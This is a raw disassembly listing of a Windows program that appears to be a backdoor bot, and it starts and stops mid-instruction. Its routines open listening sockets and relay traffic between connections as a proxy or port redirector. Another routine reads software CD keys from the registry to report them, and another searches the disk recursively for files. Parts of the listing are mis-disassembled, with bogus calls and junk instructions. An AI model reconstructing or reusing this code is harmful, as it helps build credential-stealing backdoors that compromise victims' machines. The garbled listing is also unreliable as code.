8 push eax call sub_414F79 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov ds:dword_43F50C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40776F push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_407AE9 loc_407ADE: ; CODE XREF: sub_407983+164j cmp [ebp+var_4], ebx jnz short loc_407B10 push 1Eh call esi ; Sleep jmp short loc_407ADE ; --------------------------------------------------------------------------- loc_407AE9: ; CODE XREF: sub_407983+159j call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_1CC] push offset unk_427A00 push eax call sub_4154CD lea eax, [ebp+var_1CC] push eax call sub_40B151 add esp, 10h loc_407B10: ; CODE XREF: sub_407983+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_407A6F loc_407B1E: ; CODE XREF: sub_407983+E6j cmp [ebp+var_30], ebx jz loc_407BC8 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_407B33: ; CODE XREF: sub_407983+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, ds:dword_438FC8[eax*8] push eax call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset unk_4279A8 push eax call sub_4154CD add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B81 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D32 add esp, 14h loc_407B81: ; CODE XREF: sub_407983+1DFj lea eax, [ebp+var_1CC] push eax call sub_40B151 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov ds:dword_438FCC[eax*8], ebx call esi ; Sleep push 8 call sub_4151C1 cmp eax, 1 pop ecx jnz short loc_407BB8 push offset dword_439928 call ds:dword_4210BC ; RtlDeleteCriticalSection loc_407BB8: ; CODE XREF: sub_407983+228j push [ebp+var_2C] call sub_415295 pop ecx push ebx call near ptr 3D0000h iret ; --------------------------------------------------------------------------- loc_407BC8: ; CODE XREF: sub_407983+19Ej ; sub_407983+25Dj mov eax, [ebp+var_2C] cmp ds:dword_438FCC[eax*8], 1 jnz loc_407B33 push 7D0h call esi ; Sleep jmp short loc_407BC8 sub_407983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BE2 proc near ; DATA XREF: seg000:004103E2o var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call ds:dword_43A378 ; ntohs push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call ds:dword_43A3F8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D46 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov ds:dword_43F514[eax], ebx call ds:dword_43A294 ; WSAAsyncSelect lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_43A3A4 ; bind test eax, eax jnz loc_407D46 push 0Ah push ebx call ds:dword_43A3A0 ; listen test eax, eax jnz loc_407D46 loc_407C8C: ; CODE XREF: sub_407BE2+BEj ; sub_407BE2+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call ds:dword_43A40C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C8C movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_34C] push offset unk_427B38 push eax call sub_4154CD push edi lea eax, [ebp+var_34C] push 10h push eax call sub_414F79 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov ds:dword_43F50C[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset sub_407D6A push esi push esi call ds:dword_42108C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov ds:dword_43F51C[ecx], eax jz short loc_407D31 loc_407D1E: ; CODE XREF: sub_407BE2+14Dj cmp [ebp+var_2C], esi jnz loc_407C8C push 32h call ds:dword_421060 ; Sleep jmp short loc_407D1E ; --------------------------------------------------------------------------- loc_407D31: ; CODE XREF: sub_407BE2+13Aj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427AE8 call sub_40B1C5 pop ecx pop ecx jmp short loc_407D49 ; --------------------------------------------------------------------------- loc_407D46: ; CODE XREF: sub_407BE2+61j ; sub_407BE2+93j ... mov edi, [ebp+arg_0] loc_407D49: ; CODE XREF: sub_407BE2+162j push edi call ds:dword_43A410 ; closesocket push ebx call ds:dword_43A410 ; closesocket push [ebp+var_3C] call sub_415295 pop ecx push esi call near ptr 3D0000h imul ebx, [edi+5Eh], 5Bh sub_407BE2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D6A proc near ; DATA XREF: sub_407BE2+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_415D50 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_43A3F8 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407F20 push 10h lea eax, [ebp+var_18] push edi push eax call sub_415550 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call ds:dword_43A378 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_43A3B8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407DFA lea eax, [ebp+var_13C] push eax call ds:dword_43A3FC ; gethostbyname jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407DFA: ; CODE XREF: sub_407D6A+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_43A330 ; gethostbyaddr loc_407E08: ; CODE XREF: sub_407D6A+8Ej cmp eax, edi jz loc_407F20 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz loc_407F20 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_427BE4 push eax call sub_4154CD push esi lea eax, [ebp+var_344] push 10h push eax call sub_414F79 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43F514[ebx] mov ds:dword_43F50C[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_43F518[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push (offset loc_407F4D+4) push edi push edi call ds:dword_42108C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_43F51C[ecx], eax jz short loc_407F0D loc_407EBA: ; CODE XREF: sub_407D6A+15Dj cmp [ebp+var_20], edi jnz short loc_407EC9 push 32h call ds:dword_421060 ; Sleep jmp short loc_407EBA ; --------------------------------------------------------------------------- loc_407EC9: ; CODE XREF: sub_407D6A+153j mov ebx, 1000h loc_407ECE: ; CODE XREF: sub_407D6A+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_43A390 ; recv cmp eax, edi jle short loc_407F20 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407ECE jmp short loc_407F20 ; --------------------------------------------------------------------------- loc_407F0D: ; CODE XREF: sub_407D6A+14Ej call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427B90 call sub_40B1C5 pop ecx pop ecx loc_407F20: ; CODE XREF: sub_407D6A+44j ; sub_407D6A+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_43F514[eax] call ds:dword_43A410 ; closesocket push [ebp+arg_0] call ds:dword_43A410 ; closesocket push [ebp+var_4] call sub_415295 pop ecx push edi call near ptr 3D0000h loc_407F4D: ; DATA XREF: sub_407D6A+130o mov esp, 555B5E5Fh sub_407D6A endp ; sp-analysis failed mov ebp, esp mov eax, 1128h call sub_415D50 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F88: ; CODE XREF: seg000:00407FCDj push edi lea eax, [ebp-1128h] push 0 push eax call sub_415550 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push ds:dword_43F518[esi] call ds:dword_43A390 ; recv test eax, eax jle short loc_407FCF push 0 push eax lea eax, [ebp-1128h] push eax push ds:dword_43F514[esi] call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_407F88 loc_407FCF: ; CODE XREF: seg000:00407FB2j push ds:dword_43F518[esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp-14h] call sub_415295 pop ecx push 0 call near ptr 3D0000h pop eax pop edi pop esi loc_407FEE: ; DATA XREF: seg000:004126E6o push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+8] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp-0D4h] push 2Ch mov [ebp-4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp-14h] push esi push eax call sub_415550 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-40h] call ds:dword_43A378 ; ntohs push 6 push edi push 2 mov [ebp-12h], ax mov [ebp-10h], esi call ds:dword_43A3F8 ; socket mov edi, eax mov eax, [ebp-3Ch] imul eax, 234h push ebx mov ds:dword_43F514[eax], edi lea eax, [ebp-14h] push eax push edi call ds:dword_43A3A4 ; bind test eax, eax jnz loc_408190 push 0Ah push edi call ds:dword_43A3A0 ; listen test eax, eax jnz loc_408190 push dword ptr [ebp-40h] push dword ptr [ebp-0D4h] call sub_40A155 pop ecx push eax lea eax, [ebp-2D4h] push offset unk_427D24 push eax call sub_4154CD add esp, 10h cmp [ebp-30h], esi jnz short loc_4080C9 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_412D32 add esp, 14h loc_4080C9: ; CODE XREF: seg000:004080A7j ; seg000:00408160j ... lea eax, [ebp-2D4h] push eax call sub_40B151 pop ecx lea eax, [ebp-4] push eax lea eax, [ebp-24h] push eax push edi call ds:dword_43A40C ; accept push dword ptr [ebp-3Ch] mov ebx, eax movzx eax, word ptr [ebp-22h] push eax mov [ebp-28h], esi push dword ptr [ebp-20h] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp-2D4h] push offset unk_427CCC push eax call sub_4154CD push ebx lea eax, [ebp-2D4h] push 11h push eax call sub_414F79 mov [ebp-38h], eax imul eax, 234h mov ecx, [ebp-3Ch] add esp, 20h mov ds:dword_43F50C[eax], ecx lea eax, [ebp+8] push eax lea eax, [ebp-0D4h] push esi push eax push offset loc_4081F3 push esi push esi call ds:dword_42108C ; CreateThread mov ecx, [ebp-38h] imul ecx, 234h cmp eax, esi mov ds:dword_43F51C[ecx], eax jz short loc_408170 loc_40815D: ; CODE XREF: seg000:0040816Ej cmp [ebp-28h], esi jnz loc_4080C9 push 5 call ds:dword_421060 ; Sleep jmp short loc_40815D ; --------------------------------------------------------------------------- loc_408170: ; CODE XREF: seg000:0040815Bj call ds:dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp-2D4h] push offset unk_427C80 push eax call sub_4154CD add esp, 0Ch jmp loc_4080C9 ; --------------------------------------------------------------------------- loc_408190: ; CODE XREF: seg000:00408069j ; seg000:0040807Aj push edi call ds:dword_43A410 ; closesocket push dword ptr [ebp-40h] lea eax, [ebp-2D4h] push offset unk_427C3C push eax call sub_4154CD add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4081D3 push esi lea eax, [ebp-2D4h] push dword ptr [ebp-34h] push eax lea eax, [ebp-0D0h] push eax push dword ptr [ebp-0D4h] call sub_412D32 add esp, 14h loc_4081D3: ; CODE XREF: seg000:004081B1j lea eax, [ebp-2D4h] push eax call sub_40B151 push dword ptr [ebp-3Ch] call sub_415295 pop ecx pop ecx push esi call near ptr 3D0000h pop edi pop edi pop esi pop ebx loc_4081F3: ; DATA XREF: seg000:0040813Do push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+8] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp-0C8h] rep movsd mov esi, [ebp-2Ch] push 1 mov [ebp+8], esi imul esi, 234h pop edi lea esi, dword_43F514[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov dword ptr [ebp-8], 5 mov [ebp-5D0h], eax lea eax, [ebp-8] push eax push ebx lea eax, [ebp-5D4h] push ebx push eax push ebx mov [ebp-4], ebx mov [ebp-5D4h], edi call ds:dword_43A360 ; select test eax, eax jnz short near ptr loc_408273+1 push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h loc_408273: ; CODE XREF: seg000:0040825Aj js short loc_4082C8 lea eax, [ebp-4D0h] push 408h push eax push dword ptr [esi] call ds:dword_43A390 ; recv test eax, eax jg short near ptr loc_4082A4+1 push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h loc_4082A4: ; CODE XREF: seg000:0040828Bj mov [eax-4CF43h], al inc dword ptr [edi+ecx] test ebp, ebp add [eax], eax add [eax-4CE43h], al inc dword ptr [ecx] jnz near ptr loc_40849E+1 cmp [ebp-44h], bl jz short loc_40833B lea eax, [ebp-44h] push eax loc_4082C8: ; CODE XREF: seg000:loc_408273j lea eax, [ebp-4C8h] push eax call sub_4158F0 pop ecx test eax, eax pop ecx jz short loc_40833B lea eax, [ebp-44h] push eax lea eax, [ebp-4C8h] push eax push offset dword_427E04 call sub_40B1C5 push 400h lea eax, [ebp-4C8h] push ebx push eax mov [ebp-4D0h], bl mov byte ptr [ebp-4CFh], 5Dh call sub_415550 add esp, 18h lea eax, [ebp-4D0h] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43A3C8 ; send push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h stc loc_40833B: ; CODE XREF: seg000:004082C2j ; seg000:004082D8j push 10h lea eax, [ebp-18h] push ebx push eax call sub_415550 mov ax, [ebp-4CEh] add esp, 0Ch mov [ebp-16h], ax mov eax, [ebp-4CCh] push 6 push edi push 2 mov word ptr [ebp-18h], 2 mov [ebp-14h], eax call ds:dword_43A3F8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short near ptr loc_4083D2+1 call ds:dword_43A30C ; WSAGetLastError push eax push offset unk_427DB4 call sub_40B1C5 push 400h lea eax, [ebp-4C8h] push ebx push eax mov [ebp-4D0h], bl mov byte ptr [ebp-4CFh], 5Bh call sub_415550 add esp, 14h lea eax, [ebp-4D0h] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43A3C8 ; send push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h loc_4083D2: ; CODE XREF: seg000:00408374j fmul dword ptr [ebp+106AE845h] push eax push edi call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jnz short near ptr loc_408441+1 call ds:dword_43A30C ; WSAGetLastError push eax push offset unk_427D60 call sub_40B1C5 push 400h lea eax, [ebp-4C8h] push ebx push eax mov [ebp-4D0h], bl mov byte ptr [ebp-4CFh], 5Bh call sub_415550 add esp, 14h lea eax, [ebp-4D0h] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43A3C8 ; send push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h loc_408441: ; CODE XREF: seg000:004083E3j db 2Eh push 400h lea eax, [ebp-4C8h] push ebx push eax mov [ebp-4D0h], bl mov byte ptr [ebp-4CFh], 5Ah call sub_415550 add esp, 0Ch lea eax, [ebp-4D0h] push ebx push 8 push eax push dword ptr [esi] call ds:dword_43A3C8 ; send push dword ptr [esi] push edi call sub_4084B7 pop ecx pop ecx push edi call ds:dword_43A410 ; closesocket push dword ptr [esi] call ds:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h loc_40849E: ; CODE XREF: seg000:004082B9j arpl di, di call ss:dword_43A410 ; closesocket push dword ptr [ebp+8] call sub_415295 pop ecx push ebx call near ptr 3D0000h ; --------------------------------------------------------------------------- db 0A1h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B7 proc near ; CODE XREF: seg000:00408479p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084CD: ; CODE XREF: sub_4084B7+C5j ; sub_4084B7+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E5: ; CODE XREF: sub_4084B7+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E5 loc_4084F5: ; CODE XREF: sub_4084B7+33j cmp ecx, 1 jnz short loc_40850A mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_40850A: ; CODE XREF: sub_4084B7+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call ds:dword_43A360 ; select lea eax, [ebp+var_104] push eax push ebx call ds:dword_43A270 ; __WSAFDIsSet test eax, eax jz short loc_40856A push edi lea eax, [ebp+var_504] push esi push eax push ebx call ds:dword_43A390 ; recv cmp eax, 0FFFFFFFFh jz short loc_4085B2 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_4085B2 loc_40856A: ; CODE XREF: sub_4084B7+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call ds:dword_43A270 ; __WSAFDIsSet test eax, eax jz loc_4084CD push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call ds:dword_43A390 ; recv cmp eax, 0FFFFFFFFh jz short loc_4085B2 push edi push eax lea eax, [ebp+var_504] push eax push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz loc_4084CD loc_4085B2: ; CODE XREF: sub_4084B7+9Aj ; sub_4084B7+B1j ... pop edi pop esi pop ebx leave retn sub_4084B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B7 proc near ; CODE XREF: seg000:004120EBp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_427E5C, ebx mov [ebp+var_C], 80h jz loc_408769 push esi push edi mov eax, offset off_427E5C mov esi, offset dword_427E68 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_4085E7: ; CODE XREF: sub_4085B7+1AAj lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_43A3E8 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_43A284 ; RegQueryValueExA test eax, eax jnz loc_40874F mov eax, [esi] cmp eax, ebx jz loc_408713 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_4154CD lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_415BC8 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_40874F push eax loc_408660: ; CODE XREF: sub_4085B7+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41711C add esp, 0Ch test eax, eax jz loc_408708 push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_415AA0 pop ecx test eax, eax pop ecx jz short loc_40868D push [ebp+var_8] jmp short loc_408660 ; --------------------------------------------------------------------------- loc_40868D: ; CODE XREF: sub_4085B7+CFj push 3Dh push dword ptr [esi+4] call sub_417060 pop ecx test eax, eax pop ecx jz short loc_4086CC lea eax, [ebp+var_70] push offset asc_429060 ; "=" push eax call sub_416C78 push offset asc_429060 ; "=" push ebx call sub_416C78 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154CD add esp, 20h jmp short loc_4086E3 ; --------------------------------------------------------------------------- loc_4086CC: ; CODE XREF: sub_4085B7+E4j lea eax, [ebp+var_70] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154CD add esp, 10h loc_4086E3: ; CODE XREF: sub_4085B7+113j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_2F0] push eax call sub_40B151 add esp, 18h loc_408708: ; CODE XREF: sub_4085B7+B9j push [ebp+var_8] call sub_415B20 pop ecx jmp short loc_40874F ; --------------------------------------------------------------------------- loc_408713: ; CODE XREF: sub_4085B7+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_4154CD push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_2F0] push eax call sub_40B151 add esp, 28h loc_40874F: ; CODE XREF: sub_4085B7+60j ; sub_4085B7+A2j ... push [ebp+var_4] call ds:dword_43A354 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_4085E7 pop edi pop esi loc_408769: ; CODE XREF: sub_4085B7+19j pop ebx leave retn sub_4085B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40876C proc near ; DATA XREF: seg000:00410A58o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_415CD0 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_4087C1 lea eax, [ebp+var_114] push eax call sub_415CD0 pop ecx mov [ebp+eax+var_115], bl loc_4087C1: ; CODE XREF: sub_40876C+3Fj lea eax, [ebp+var_218] push eax push offset unk_4290B8 lea eax, [ebp+var_49C] push 200h push eax call sub_415A4A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_408806 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D32 add esp, 14h loc_408806: ; CODE XREF: sub_40876C+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_408884 push eax lea eax, [ebp+var_49C] push offset unk_429084 push eax call sub_4154CD add esp, 24h cmp [ebp+var_8], ebx jnz short loc_408864 push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412D32 add esp, 14h loc_408864: ; CODE XREF: sub_40876C+D6j lea eax, [ebp+var_49C] push eax call sub_40B151 push [ebp+var_10] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h push 5Fh pop esi pop ebx sub_40876C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408884 proc near ; CODE XREF: sub_40876C+B9p ; sub_408884+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_415A4A mov edi, ds:dword_4210A8 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408941 loc_4088D0: ; CODE XREF: sub_408884+BBj test [ebp+var_144], 10h jz short loc_40892D cmp [ebp+var_118], 2Eh jnz short loc_4088F4 cmp [ebp+var_117], 0 jz short loc_40892D cmp [ebp+var_117], 2Eh jz short loc_40892D loc_4088F4: ; CODE XREF: sub_408884+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_415A4A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_408884 add esp, 2Ch mov [ebp+arg_14], eax loc_40892D: ; CODE XREF: sub_408884+53j ; sub_408884+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_4088D0 loc_408941: ; CODE XREF: sub_408884+4Aj push [ebp+var_4] call near ptr 3D0000h pop edx push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_415A4A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4089C7 loc_408978: ; CODE XREF: sub_408884+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_415A4A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_408978 loc_4089C7: ; CODE XREF: sub_408884+F2j push esi call near ptr 3D0000h inc esp mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408884 endp ; =============== S U B R O U T I N E ======================================= sub_4089D6 proc near ; CODE XREF: seg000:0040C6BBp push ebx push ebp mov ebp, ds:dword_4210C8 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_4210C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_408AF6 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_43A424, eax call esi push offset aProcess32first ; "Process32First" push edi mov ds:dword_43A398, eax call esi push offset aProcess32next ; "Process32Next" push edi mov ds:dword_43A37C, eax call esi push offset aModule32first ; "Module32First" push edi mov ds:dword_43A298, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_43A244, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_43A274, 